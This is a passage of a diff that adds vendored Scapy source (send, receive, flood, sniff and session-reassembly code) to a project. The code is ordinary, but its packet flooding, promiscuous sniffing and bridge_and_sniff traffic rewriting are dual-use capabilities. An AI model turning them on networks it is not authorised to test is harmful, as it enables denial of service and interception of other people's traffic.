) + except KeyboardInterrupt: + if self.chainCC: + raise + + +def sndrcv(*args, **kwargs): + """Scapy raw function to send a packet and receive its answer. + WARNING: This is an internal function. Using sr/srp/sr1/srp is + more appropriate in many cases. + """ + sndrcver = SndRcvHandler(*args, **kwargs) + return sndrcver.results() + + +def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs): # noqa: E501 + if isinstance(x, str): + x = conf.raw_layer(load=x) + if not isinstance(x, Gen): + x = SetGen(x) + if verbose is None: + verbose = conf.verb + n = 0 + if count is not None: + loop = -count + elif not loop: + loop = -1 + if return_packets: + sent_packets = PacketList() + try: + while loop: + dt0 = None + for p in x: + if realtime: + ct = time.time() + if dt0: + st = dt0 + float(p.time) - ct + if st > 0: + time.sleep(st) + else: + dt0 = ct - float(p.time) + s.send(p) + if return_packets: + sent_packets.append(p) + n += 1 + if verbose: + os.write(1, b".") + time.sleep(inter) + if loop < 0: + loop += 1 + except KeyboardInterrupt: + pass + if verbose: + print("\nSent %i packets." % n) + if return_packets: + return sent_packets + + +@conf.commands.register +def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, + return_packets=False, socket=None, iface=None, *args, **kargs): + """ + Send packets at layer 3 + + :param x: the packets + :param inter: time (in s) between two packets (default 0) + :param loop: send packet indefinetly (default 0) + :param count: number of packets to send (default None=1) + :param verbose: verbose mode (default None=conf.verbose) + :param realtime: check that a packet was sent before sending the next one + :param return_packets: return the sent packets + :param socket: the socket to use (default is conf.L3socket(kargs)) + :param iface: the interface to send the packets on + :param monitor: (not on linux) send in monitor mode + :returns: None + """ + need_closing = socket is None + kargs["iface"] = _interface_selection(iface, x) + socket = socket or conf.L3socket(*args, **kargs) + results = __gen_send(socket, x, inter=inter, loop=loop, + count=count, verbose=verbose, + realtime=realtime, return_packets=return_packets) + if need_closing: + socket.close() + return results + + +@conf.commands.register +def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, + verbose=None, realtime=None, + return_packets=False, socket=None, *args, **kargs): + """ + Send packets at layer 2 + + :param x: the packets + :param inter: time (in s) between two packets (default 0) + :param loop: send packet indefinetly (default 0) + :param count: number of packets to send (default None=1) + :param verbose: verbose mode (default None=conf.verbose) + :param realtime: check that a packet was sent before sending the next one + :param return_packets: return the sent packets + :param socket: the socket to use (default is conf.L3socket(kargs)) + :param iface: the interface to send the packets on + :param monitor: (not on linux) send in monitor mode + :returns: None + """ + if iface is None and iface_hint is not None and socket is None: + iface = conf.route.route(iface_hint)[0] + need_closing = socket is None + socket = socket or conf.L2socket(iface=iface, *args, **kargs) + results = __gen_send(socket, x, inter=inter, loop=loop, + count=count, verbose=verbose, + realtime=realtime, return_packets=return_packets) + if need_closing: + socket.close() + return results + + +@conf.commands.register +def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, replay_args=None, # noqa: E501 + parse_results=False): + """Send packets at layer 2 using tcpreplay for performance + + :param pps: packets per second + :param mpbs: MBits per second + :param realtime: use packet's timestamp, bending time with real-time value + :param loop: number of times to process the packet list + :param file_cache: cache packets in RAM instead of reading from + disk at each iteration + :param iface: output interface + :param replay_args: List of additional tcpreplay args (List[str]) + :param parse_results: Return a dictionary of information + outputted by tcpreplay (default=False) + :returns: stdout, stderr, command used + """ + if iface is None: + iface = conf.iface + argv = [conf.prog.tcpreplay, "--intf1=%s" % iface] + if pps is not None: + argv.append("--pps=%i" % pps) + elif mbps is not None: + argv.append("--mbps=%f" % mbps) + elif realtime is not None: + argv.append("--multiplier=%f" % realtime) + else: + argv.append("--topspeed") + + if loop: + argv.append("--loop=%i" % loop) + if file_cache: + argv.append("--preload-pcap") + + # Check for any additional args we didn't cover. + if replay_args is not None: + argv.extend(replay_args) + + f = get_temp_file() + argv.append(f) + wrpcap(f, x) + results = None + with ContextManagerSubprocess(conf.prog.tcpreplay): + try: + cmd = subprocess.Popen(argv, stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + except KeyboardInterrupt: + log_interactive.info("Interrupted by user") + except Exception: + os.unlink(f) + raise + else: + stdout, stderr = cmd.communicate() + if stderr: + log_runtime.warning(stderr.decode()) + if parse_results: + results = _parse_tcpreplay_result(stdout, stderr, argv) + elif conf.verb > 2: + log_runtime.info(stdout.decode()) + os.unlink(f) + return results + + +def _parse_tcpreplay_result(stdout, stderr, argv): + """ + Parse the output of tcpreplay and modify the results_dict to populate output information. # noqa: E501 + Tested with tcpreplay v3.4.4 + Tested with tcpreplay v4.1.2 + :param stdout: stdout of tcpreplay subprocess call + :param stderr: stderr of tcpreplay subprocess call + :param argv: the command used in the subprocess call + :return: dictionary containing the results + """ + try: + results = {} + stdout = plain_str(stdout).lower() + stderr = plain_str(stderr).strip().split("\n") + elements = { + "actual": (int, int, float), + "rated": (float, float, float), + "flows": (int, float, int, int), + "attempted": (int,), + "successful": (int,), + "failed": (int,), + "truncated": (int,), + "retried packets (eno": (int,), + "retried packets (eag": (int,), + } + multi = { + "actual": ("packets", "bytes", "time"), + "rated": ("bps", "mbps", "pps"), + "flows": ("flows", "fps", "flow_packets", "non_flow"), + "retried packets (eno": ("retried_enobufs",), + "retried packets (eag": ("retried_eagain",), + } + float_reg = r"([0-9]*\.[0-9]+|[0-9]+)" + int_reg = r"([0-9]+)" + any_reg = r"[^0-9]*" + r_types = {int: int_reg, float: float_reg} + for line in stdout.split("\n"): + line = line.strip() + for elt, _types in elements.items(): + if line.startswith(elt): + regex = any_reg.join([r_types[x] for x in _types]) + matches = re.search(regex, line) + for i, typ in enumerate(_types): + name = multi.get(elt, [elt])[i] + results[name] = typ(matches.group(i + 1)) + results["command"] = " ".join(argv) + results["warnings"] = stderr[:-1] + return results + except Exception as parse_exception: + if not conf.interactive: + raise + log_runtime.error("Error parsing output: " + str(parse_exception)) + return {} + + +@conf.commands.register +def sr(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): + """ + Send and receive packets at layer 3 + """ + s = conf.L3socket(promisc=promisc, filter=filter, + iface=iface, nofilter=nofilter) + result = sndrcv(s, x, *args, **kargs) + s.close() + return result + + +def _interface_selection(iface, packet): + """ + Select the network interface according to the layer 3 destination + """ + + if iface is None: + try: + iff = packet.route()[0] + except AttributeError: + iff = None + return iff or conf.iface + + return iface + + +@conf.commands.register +def sr1(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): + """ + Send packets at layer 3 and return only the first answer + """ + iface = _interface_selection(iface, x) + s = conf.L3socket(promisc=promisc, filter=filter, + nofilter=nofilter, iface=iface) + ans, _ = sndrcv(s, x, *args, **kargs) + s.close() + if len(ans) > 0: + return ans[0][1] + + +@conf.commands.register +def srp(x, promisc=None, iface=None, iface_hint=None, filter=None, + nofilter=0, type=ETH_P_ALL, *args, **kargs): + """ + Send and receive packets at layer 2 + """ + if iface is None and iface_hint is not None: + iface = conf.route.route(iface_hint)[0] + s = conf.L2socket(promisc=promisc, iface=iface, + filter=filter, nofilter=nofilter, type=type) + result = sndrcv(s, x, *args, **kargs) + s.close() + return result + + +@conf.commands.register +def srp1(*args, **kargs): + """ + Send and receive packets at layer 2 and return only the first answer + """ + ans, _ = srp(*args, **kargs) + if len(ans) > 0: + return ans[0][1] + + +# Append doc +for sr_func in [srp, srp1, sr, sr1]: + if sr_func.__doc__ is not None: + sr_func.__doc__ += _DOC_SNDRCV_PARAMS + + +# SEND/RECV LOOP METHODS + + +def __sr_loop(srfunc, pkts, prn=lambda x: x[1].summary(), + prnfail=lambda x: x.summary(), + inter=1, timeout=None, count=None, verbose=None, store=1, + *args, **kargs): + n = 0 + r = 0 + ct = conf.color_theme + if verbose is None: + verbose = conf.verb + parity = 0 + ans = [] + unans = [] + if timeout is None: + timeout = min(2 * inter, 5) + try: + while True: + parity ^= 1 + col = [ct.even, ct.odd][parity] + if count is not None: + if count == 0: + break + count -= 1 + start = time.time() + if verbose > 1: + print("\rsend...\r", end=' ') + res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=True, *args, **kargs) # noqa: E501 + n += len(res[0]) + len(res[1]) + r += len(res[0]) + if verbose > 1 and prn and len(res[0]) > 0: + msg = "RECV %i:" % len(res[0]) + print("\r" + ct.success(msg), end=' ') + for p in res[0]: + print(col(prn(p))) + print(" " * len(msg), end=' ') + if verbose > 1 and prnfail and len(res[1]) > 0: + msg = "fail %i:" % len(res[1]) + print("\r" + ct.fail(msg), end=' ') + for p in res[1]: + print(col(prnfail(p))) + print(" " * len(msg), end=' ') + if verbose > 1 and not (prn or prnfail): + print("recv:%i fail:%i" % tuple(map(len, res[:2]))) + if store: + ans += res[0] + unans += res[1] + end = time.time() + if end - start < inter: + time.sleep(inter + start - end) + except KeyboardInterrupt: + pass + + if verbose and n > 0: + print(ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n, r, 100.0 * r / n))) # noqa: E501 + return SndRcvList(ans), PacketList(unans) + + +@conf.commands.register +def srloop(pkts, *args, **kargs): + """Send a packet at layer 3 in loop and print the answer each time +srloop(pkts, [prn], [inter], [count], ...) --> None""" + return __sr_loop(sr, pkts, *args, **kargs) + + +@conf.commands.register +def srploop(pkts, *args, **kargs): + """Send a packet at layer 2 in loop and print the answer each time +srloop(pkts, [prn], [inter], [count], ...) --> None""" + return __sr_loop(srp, pkts, *args, **kargs) + +# SEND/RECV FLOOD METHODS + + +def sndrcvflood(pks, pkt, inter=0, verbose=None, chainCC=False, timeout=None): + """sndrcv equivalent for flooding.""" + stopevent = Event() + + def send_in_loop(tobesent, stopevent): + """Infinite generator that produces the same + packet until stopevent is triggered.""" + while True: + for p in tobesent: + if stopevent.is_set(): + return + yield p + + infinite_gen = send_in_loop(pkt, stopevent) + _flood_len = pkt.__iterlen__() if isinstance(pkt, Gen) else len(pkt) + _flood = [_flood_len, stopevent.set] + return sndrcv( + pks, infinite_gen, + inter=inter, verbose=verbose, + chainCC=chainCC, timeout=None, + _flood=_flood + ) + + +@conf.commands.register +def srflood(x, promisc=None, filter=None, iface=None, nofilter=None, *args, **kargs): # noqa: E501 + """Flood and receive packets at layer 3 + + :param prn: function applied to packets received + :param unique: only consider packets whose print + :param nofilter: put 1 to avoid use of BPF filters + :param filter: provide a BPF filter + :param iface: listen answers only on the given interface + """ + s = conf.L3socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) # noqa: E501 + r = sndrcvflood(s, x, *args, **kargs) + s.close() + return r + + +@conf.commands.register +def sr1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): # noqa: E501 + """Flood and receive packets at layer 3 and return only the first answer + + :param prn: function applied to packets received + :param verbose: set verbosity level + :param nofilter: put 1 to avoid use of BPF filters + :param filter: provide a BPF filter + :param iface: listen answers only on the given interface + """ + s = conf.L3socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) # noqa: E501 + ans, _ = sndrcvflood(s, x, *args, **kargs) + s.close() + if len(ans) > 0: + return ans[0][1] + + +@conf.commands.register +def srpflood(x, promisc=None, filter=None, iface=None, iface_hint=None, nofilter=None, *args, **kargs): # noqa: E501 + """Flood and receive packets at layer 2 + + :param prn: function applied to packets received + :param unique: only consider packets whose print + :param nofilter: put 1 to avoid use of BPF filters + :param filter: provide a BPF filter + :param iface: listen answers only on the given interface + """ + if iface is None and iface_hint is not None: + iface = conf.route.route(iface_hint)[0] + s = conf.L2socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) # noqa: E501 + r = sndrcvflood(s, x, *args, **kargs) + s.close() + return r + + +@conf.commands.register +def srp1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): # noqa: E501 + """Flood and receive packets at layer 2 and return only the first answer + + :param prn: function applied to packets received + :param verbose: set verbosity level + :param nofilter: put 1 to avoid use of BPF filters + :param filter: provide a BPF filter + :param iface: listen answers only on the given interface + """ + s = conf.L2socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) # noqa: E501 + ans, _ = sndrcvflood(s, x, *args, **kargs) + s.close() + if len(ans) > 0: + return ans[0][1] + +# SNIFF METHODS + + +class AsyncSniffer(object): + """ + Sniff packets and return a list of packets. + + Args: + count: number of packets to capture. 0 means infinity. + store: whether to store sniffed packets or discard them + prn: function to apply to each packet. If something is returned, it + is displayed. + --Ex: prn = lambda x: x.summary() + session: a session = a flow decoder used to handle stream of packets. + e.g: IPSession (to defragment on-the-flow) or NetflowSession + filter: BPF filter to apply. + lfilter: Python function applied to each packet to determine if + further action may be done. + --Ex: lfilter = lambda x: x.haslayer(Padding) + offline: PCAP file (or list of PCAP files) to read packets from, + instead of sniffing them + timeout: stop sniffing after a given time (default: None). + L2socket: use the provided L2socket (default: use conf.L2listen). + opened_socket: provide an object (or a list of objects) ready to use + .recv() on. + stop_filter: Python function applied to each packet to determine if + we have to stop the capture after this packet. + --Ex: stop_filter = lambda x: x.haslayer(TCP) + iface: interface or list of interfaces (default: None for sniffing + on all interfaces). + monitor: use monitor mode. May not be available on all OS + started_callback: called as soon as the sniffer starts sniffing + (default: None). + + The iface, offline and opened_socket parameters can be either an + element, a list of elements, or a dict object mapping an element to a + label (see examples below). + + Examples: synchronous + >>> sniff(filter="arp") + >>> sniff(filter="tcp", + ... session=IPSession, # defragment on-the-flow + ... prn=lambda x: x.summary()) + >>> sniff(lfilter=lambda pkt: ARP in pkt) + >>> sniff(iface="eth0", prn=Packet.summary) + >>> sniff(iface=["eth0", "mon0"], + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) + >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) + + Examples: asynchronous + >>> t = AsyncSniffer(iface="enp0s3") + >>> t.start() + >>> time.sleep(1) + >>> print("nice weather today") + >>> t.stop() + """ + def __init__(self, *args, **kwargs): + # Store keyword arguments + self.args = args + self.kwargs = kwargs + self.running = False + self.thread = None + self.results = None + + def _setup_thread(self): + # Prepare sniffing thread + self.thread = Thread( + target=self._run, + args=self.args, + kwargs=self.kwargs + ) + self.thread.setDaemon(True) + + def _run(self, + count=0, store=True, offline=None, + prn=None, lfilter=None, + L2socket=None, timeout=None, opened_socket=None, + stop_filter=None, iface=None, started_callback=None, + session=None, session_args=[], session_kwargs={}, + *arg, **karg): + self.running = True + # Start main thread + # instantiate session + if not isinstance(session, DefaultSession): + session = session or DefaultSession + session = session(prn, store, *session_args, **session_kwargs) + else: + session.prn = prn + session.store = store + # sniff_sockets follows: {socket: label} + sniff_sockets = {} + if opened_socket is not None: + if isinstance(opened_socket, list): + sniff_sockets.update( + (s, "socket%d" % i) + for i, s in enumerate(opened_socket) + ) + elif isinstance(opened_socket, dict): + sniff_sockets.update( + (s, label) + for s, label in six.iteritems(opened_socket) + ) + else: + sniff_sockets[opened_socket] = "socket0" + if offline is not None: + flt = karg.get('filter') + + if isinstance(offline, list) and \ + all(isinstance(elt, str) for elt in offline): + sniff_sockets.update((PcapReader( + fname if flt is None else + tcpdump(fname, args=["-w", "-", flt], getfd=True) + ), fname) for fname in offline) + elif isinstance(offline, dict): + sniff_sockets.update((PcapReader( + fname if flt is None else + tcpdump(fname, args=["-w", "-", flt], getfd=True) + ), label) for fname, label in six.iteritems(offline)) + else: + # Write Scapy Packet objects to a pcap file + def _write_to_pcap(packets_list): + filename = get_temp_file(autoext=".pcap") + wrpcap(filename, offline) + return filename, filename + + if isinstance(offline, Packet): + tempfile_written, offline = _write_to_pcap([offline]) + elif isinstance(offline, list) and \ + all(isinstance(elt, Packet) for elt in offline): + tempfile_written, offline = _write_to_pcap(offline) + + sniff_sockets[PcapReader( + offline if flt is None else + tcpdump(offline, args=["-w", "-", flt], getfd=True) + )] = offline + if not sniff_sockets or iface is not None: + if L2socket is None: + L2socket = conf.L2listen + if isinstance(iface, list): + sniff_sockets.update( + (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), + ifname) + for ifname in iface + ) + elif isinstance(iface, dict): + sniff_sockets.update( + (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), + iflabel) + for ifname, iflabel in six.iteritems(iface) + ) + else: + sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface, + *arg, **karg)] = iface + + # Get select information from the sockets + _main_socket = next(iter(sniff_sockets)) + read_allowed_exceptions = _main_socket.read_allowed_exceptions + select_func = _main_socket.select + _backup_read_func = _main_socket.__class__.recv + nonblocking_socket = _main_socket.nonblocking_socket + # We check that all sockets use the same select(), or raise a warning + if not all(select_func == sock.select for sock in sniff_sockets): + warning("Warning: inconsistent socket types ! " + "The used select function " + "will be the one of the first socket") + + # Fill if empty + if not read_allowed_exceptions: + read_allowed_exceptions = (IOError,) + + if nonblocking_socket: + # select is non blocking + def stop_cb(): + self.continue_sniff = False + self.stop_cb = stop_cb + close_pipe = None + else: + # select is blocking: Add special control socket + from scapy.automaton import ObjectPipe + close_pipe = ObjectPipe() + sniff_sockets[close_pipe] = "control_socket" + + def stop_cb(): + if self.running: + close_pipe.send(None) + self.continue_sniff = False + self.stop_cb = stop_cb + + try: + if started_callback: + started_callback() + self.continue_sniff = True + + # Start timeout + if timeout is not None: + stoptime = time.time() + timeout + remain = None + + while sniff_sockets and self.continue_sniff: + if timeout is not None: + remain = stoptime - time.time() + if remain <= 0: + break + sockets, read_func = select_func(sniff_sockets, remain) + read_func = read_func or _backup_read_func + dead_sockets = [] + for s in sockets: + if s is close_pipe: + break + try: + p = read_func(s) + except EOFError: + # End of stream + try: + s.close() + except Exception: + pass + dead_sockets.append(s) + continue + except read_allowed_exceptions: + continue + except Exception as ex: + msg = " It was closed." + try: + # Make sure it's closed + s.close() + except Exception as ex: + msg = " close() failed with '%s'" % ex + warning( + "Socket %s failed with '%s'." % (s, ex) + msg + ) + dead_sockets.append(s) + if conf.debug_dissector >= 2: + raise + continue + if p is None: + continue + if lfilter and not lfilter(p): + continue + p.sniffed_on = sniff_sockets[s] + # on_packet_received handles the prn/storage + session.on_packet_received(p) + # check + if (stop_filter and stop_filter(p)) or \ + (0 < count <= session.count): + self.continue_sniff = False + break + # Removed dead sockets + for s in dead_sockets: + del sniff_sockets[s] + except KeyboardInterrupt: + pass + self.running = False + if opened_socket is None: + for s in sniff_sockets: + s.close() + elif close_pipe: + close_pipe.close() + self.results = session.toPacketList() + + def start(self): + """Starts AsyncSniffer in async mode""" + self._setup_thread() + self.thread.start() + + def stop(self, join=True): + """Stops AsyncSniffer if not in async mode""" + if self.running: + try: + self.stop_cb() + except AttributeError: + raise Scapy_Exception( + "Unsupported (offline or unsupported socket)" + ) + if join: + self.join() + return self.results + else: + raise Scapy_Exception("Not started !") + + def join(self, *args, **kwargs): + if self.thread: + self.thread.join(*args, **kwargs) + + +@conf.commands.register +def sniff(*args, **kwargs): + sniffer = AsyncSniffer() + sniffer._run(*args, **kwargs) + return sniffer.results + + +sniff.__doc__ = AsyncSniffer.__doc__ + + +@conf.commands.register +def bridge_and_sniff(if1, if2, xfrm12=None, xfrm21=None, prn=None, L2socket=None, # noqa: E501 + *args, **kargs): + """Forward traffic between interfaces if1 and if2, sniff and return +the exchanged packets. + +Arguments: + + if1, if2: the interfaces to use (interface names or opened sockets). + + xfrm12: a function to call when forwarding a packet from if1 to + if2. If it returns True, the packet is forwarded as it. If it + returns False or None, the packet is discarded. If it returns a + packet, this packet is forwarded instead of the original packet + one. + + xfrm21: same as xfrm12 for packets forwarded from if2 to if1. + + The other arguments are the same than for the function sniff(), + except for offline, opened_socket and iface that are ignored. + See help(sniff) for more. + + """ + for arg in ['opened_socket', 'offline', 'iface']: + if arg in kargs: + log_runtime.warning("Argument %s cannot be used in " + "bridge_and_sniff() -- ignoring it.", arg) + del kargs[arg] + + def _init_socket(iface, count): + if isinstance(iface, SuperSocket): + return iface, "iface%d" % count + else: + return (L2socket or conf.L2socket)(iface=iface), iface + sckt1, if1 = _init_socket(if1, 1) + sckt2, if2 = _init_socket(if2, 2) + peers = {if1: sckt2, if2: sckt1} + xfrms = {} + if xfrm12 is not None: + xfrms[if1] = xfrm12 + if xfrm21 is not None: + xfrms[if2] = xfrm21 + + def prn_send(pkt): + try: + sendsock = peers[pkt.sniffed_on] + except KeyError: + return + if pkt.sniffed_on in xfrms: + try: + newpkt = xfrms[pkt.sniffed_on](pkt) + except Exception: + log_runtime.warning( + 'Exception in transformation function for packet [%s] ' + 'received on %s -- dropping', + pkt.summary(), pkt.sniffed_on, exc_info=True + ) + return + else: + if newpkt is True: + newpkt = pkt.original + elif not newpkt: + return + else: + newpkt = pkt.original + try: + sendsock.send(newpkt) + except Exception: + log_runtime.warning('Cannot forward packet [%s] received on %s', + pkt.summary(), pkt.sniffed_on, exc_info=True) + if prn is None: + prn = prn_send + else: + prn_orig = prn + + def prn(pkt): + prn_send(pkt) + return prn_orig(pkt) + + return sniff(opened_socket={sckt1: if1, sckt2: if2}, prn=prn, + *args, **kargs) + + +@conf.commands.register +def tshark(*args, **kargs): + """Sniff packets and print them calling pkt.summary(). + This tries to replicate what text-wireshark (tshark) would look like""" + + if 'iface' in kargs: + iface = kargs.get('iface') + elif 'opened_socket' in kargs: + iface = kargs.get('opened_socket').iface + else: + iface = conf.iface + print("Capturing on '%s'" % iface) + + # This should be a nonlocal variable, using a mutable object + # for Python 2 compatibility + i = [0] + + def _cb(pkt): + print("%5d\t%s" % (i[0], pkt.summary())) + i[0] += 1 + + sniff(prn=_cb, store=False, *args, **kargs) + print("\n%d packet%s captured" % (i[0], 's' if i[0] > 1 else '')) diff --git a/libs/scapy/sessions.py b/libs/scapy/sessions.py new file mode 100755 index 0000000..8114852 --- /dev/null +++ b/libs/scapy/sessions.py @@ -0,0 +1,276 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Sessions: decode flow of packets when sniffing +""" + +from collections import defaultdict +from scapy.compat import raw +from scapy.config import conf +from scapy.packet import NoPayload +from scapy.plist import PacketList + + +class DefaultSession(object): + """Default session: no stream decoding""" + + def __init__(self, prn=None, store=False, supersession=None, + *args, **karg): + self.__prn = prn + self.__store = store + self.lst = [] + self.__count = 0 + self._supersession = supersession + if self._supersession: + self._supersession.prn = self.__prn + self._supersession.store = self.__store + self.__store = False + self.__prn = None + + @property + def store(self): + return self.__store + + @store.setter + def store(self, val): + if self._supersession: + self._supersession.store = val + else: + self.__store = val + + @property + def prn(self): + return self.__prn + + @prn.setter + def prn(self, f): + if self._supersession: + self._supersession.prn = f + else: + self.__prn = f + + @property + def count(self): + if self._supersession: + return self._supersession.count + else: + return self.__count + + def toPacketList(self): + if self._supersession: + return PacketList(self._supersession.lst, "Sniffed") + else: + return PacketList(self.lst, "Sniffed") + + def on_packet_received(self, pkt): + """DEV: entry point. Will be called by sniff() for each + received packet (that passes the filters). + """ + if not pkt: + return + if isinstance(pkt, list): + for p in pkt: + DefaultSession.on_packet_received(self, p) + return + self.__count += 1 + if self.store: + self.lst.append(pkt) + if self.prn: + result = self.prn(pkt) + if result is not None: + print(result) + + +class IPSession(DefaultSession): + """Defragment IP packets 'on-the-flow'. + + Usage: + >>> sniff(session=IPSession) + """ + + def __init__(self, *args, **kwargs): + DefaultSession.__init__(self, *args, **kwargs) + self.fragments = defaultdict(list) + + def _ip_process_packet(self, packet): + from scapy.layers.inet import _defrag_list, IP + if IP not in packet: + return packet + ip = packet[IP] + packet._defrag_pos = 0 + if ip.frag != 0 or ip.flags.MF: + uniq = (ip.id, ip.src, ip.dst, ip.proto) + self.fragments[uniq].append(packet) + if not ip.flags.MF: # end of frag + try: + if self.fragments[uniq][0].frag == 0: + # Has first fragment (otherwise ignore) + defrag, missfrag = [], [] + _defrag_list(self.fragments[uniq], defrag, missfrag) + defragmented_packet = defrag[0] + defragmented_packet = defragmented_packet.__class__( + raw(defragmented_packet) + ) + return defragmented_packet + finally: + del self.fragments[uniq] + else: + return packet + + def on_packet_received(self, pkt): + pkt = self._ip_process_packet(pkt) + DefaultSession.on_packet_received(self, pkt) + + +class StringBuffer(object): + """StringBuffer is an object used to re-order data received during + a TCP transmission. + + Each TCP fragment contains a sequence number, which marks + (relatively to the first sequence number) the index of the data contained + in the fragment. + + If a TCP fragment is missed, this class will fill the missing space with + zeros. + """ + def __init__(self): + self.content = bytearray(b"") + self.content_len = 0 + self.incomplete = [] + + def append(self, data, seq): + data_len = len(data) + seq = seq - 1 + if seq + data_len > self.content_len: + self.content += b"\x00" * (seq - self.content_len + data_len) + # If data was missing, mark it. + self.incomplete.append((self.content_len, seq)) + self.content_len = seq + data_len + assert len(self.content) == self.content_len + # XXX removes empty space marker. + # for ifrag in self.incomplete: + # if [???]: + # self.incomplete.remove([???]) + memoryview(self.content)[seq:seq + data_len] = data + + def full(self): + # Should only be true when all missing data was filled up, + # (or there never was missing data) + return True # XXX + + def clear(self): + self.__init__() + + def __bool__(self): + return bool(self.content_len) + __nonzero__ = __bool__ + + def __len__(self): + return self.content_len + + def __bytes__(self): + return bytes(self.content) + __str__ = __bytes__ + + +class TCPSession(IPSession): + """A Session that matches seq/ack packets together to dissect + special protocols, such as HTTP. + + DEV: implement a class-function `tcp_reassemble` in your Packet class:: + + @classmethod + def tcp_reassemble(cls, data, metadata): + # data = the reassembled data from the same request/flow + # metadata = empty dictionary, that can be used to store data + [...] + # If the packet is available, return it. Otherwise don't. + # Whenever you return a packet, the buffer will be discarded. + return pkt + # Otherwise, maybe store stuff in metadata, and return None, + # as you need additional data. + return None + + A (hard to understand) example can be found in scapy/layers/http.py + """ + + fmt = ('TCP {IP:%IP.src%}{IPv6:%IPv6.src%}:%r,TCP.sport% > ' + + '{IP:%IP.dst%}{IPv6:%IPv6.dst%}:%r,TCP.dport%') + + def __init__(self, *args, **kwargs): + super(TCPSession, self).__init__(*args, **kwargs) + # The StringBuffer() is used to build a global + # string from fragments and their seq nulber + self.tcp_frags = defaultdict( + lambda: (StringBuffer(), {}) + ) + + def _process_packet(self, pkt): + """Process each packet: matches the TCP seq/ack numbers + to follow the TCP streams, and orders the fragments. + """ + from scapy.layers.inet import IP, TCP + if not pkt or TCP not in pkt: + return pkt + pay = pkt[TCP].payload + if isinstance(pay, (NoPayload, conf.padding_layer)): + return pkt + new_data = raw(pay) + # Match packets by a uniqute TCP identifier + seq = pkt[TCP].seq + ident = pkt.sprintf(self.fmt) + data, metadata = self.tcp_frags[ident] + # Let's guess which class is going to be used + if "pay_class" not in metadata: + pay_class = pay.__class__ + if not hasattr(pay_class, "tcp_reassemble"): + # Cannot tcp-reassemble + return pkt + metadata["pay_class"] = pay_class + else: + pay_class = metadata["pay_class"] + # Get a relative sequence number for a storage purpose + relative_seq = metadata.get("relative_seq", None) + if not relative_seq: + relative_seq = metadata["relative_seq"] = seq - 1 + seq = seq - relative_seq + # Add the data to the buffer + # Note that this take care of retransmission packets. + data.append(new_data, seq) + # Check TCP FIN or TCP RESET + if pkt[TCP].flags.F or pkt[TCP].flags.R: + metadata["tcp_end"] = True + + # In case any app layer protocol requires it, + # allow the parser to inspect TCP PSH flag + if pkt[TCP].flags.P: + metadata["tcp_psh"] = True + # XXX TODO: check that no empty space is missing in the buffer. + # XXX Currently, if a TCP fragment was missing, we won't notice it. + packet = None + if data.full(): + # Reassemble using all previous packets + packet = pay_class.tcp_reassemble(bytes(data), metadata) + # Stack the result on top of the previous frames + if packet: + data.clear() + del self.tcp_frags[ident] + pay.underlayer.remove_payload() + if IP in pkt: + pkt[IP].len = None + pkt[IP].chksum = None + return pkt / packet + + def on_packet_received(self, pkt): + """Hook to the Sessions API: entry point of the dissection. + This will defragment IP if necessary, then process to + TCP reassembly. + """ + # First, defragment IP if necessary + pkt = self._ip_process_packet(pkt) + # Now handle TCP reassembly + pkt = self._process_packet(pkt) + DefaultSession.on_packet_received(self, pkt) diff --git a/libs/scapy/supersocket.py b/libs/scapy/supersocket.py new file mode 100755 index 0000000..415a5df --- /dev/null +++ b/libs/scapy/supersocket.py @@ -0,0 +1,468 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +SuperSocket. +""" + +from __future__ import absolute_import +from select import select, error as select_error +import ctypes +import errno +import os +import socket +import struct +import time + +from scapy.config import conf +from scapy.consts import LINUX, DARWIN, WINDOWS +from scapy.data import MTU, ETH_P_IP, SOL_PACKET, SO_TIMESTAMPNS +from scapy.compat import raw, bytes_encode +from scapy.error import warning, log_runtime +import scapy.modules.six as six +import scapy.packet +from scapy.utils import PcapReader, tcpdump + + +# Utils + +class _SuperSocket_metaclass(type): + def __repr__(self): + if self.desc is not None: + return "<%s: %s>" % (self.__name__, self.desc) + else: + return "<%s>" % self.__name__ + + +# Used to get ancillary data +PACKET_AUXDATA = 8 +ETH_P_8021Q = 0x8100 +TP_STATUS_VLAN_VALID = 1 << 4 + + +class tpacket_auxdata(ctypes.Structure): + _fields_ = [ + ("tp_status", ctypes.c_uint), + ("tp_len", ctypes.c_uint), + ("tp_snaplen", ctypes.c_uint), + ("tp_mac", ctypes.c_ushort), + ("tp_net", ctypes.c_ushort), + ("tp_vlan_tci", ctypes.c_ushort), + ("tp_padding", ctypes.c_ushort), + ] + + +# SuperSocket + +class SuperSocket(six.with_metaclass(_SuperSocket_metaclass)): + desc = None + closed = 0 + nonblocking_socket = False + read_allowed_exceptions = () + auxdata_available = False + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0): # noqa: E501 + self.ins = socket.socket(family, type, proto) + self.outs = self.ins + self.promisc = None + + def send(self, x): + sx = raw(x) + try: + x.sent_time = time.time() + except AttributeError: + pass + return self.outs.send(sx) + + if six.PY2: + def _recv_raw(self, sock, x): + """Internal function to receive a Packet""" + 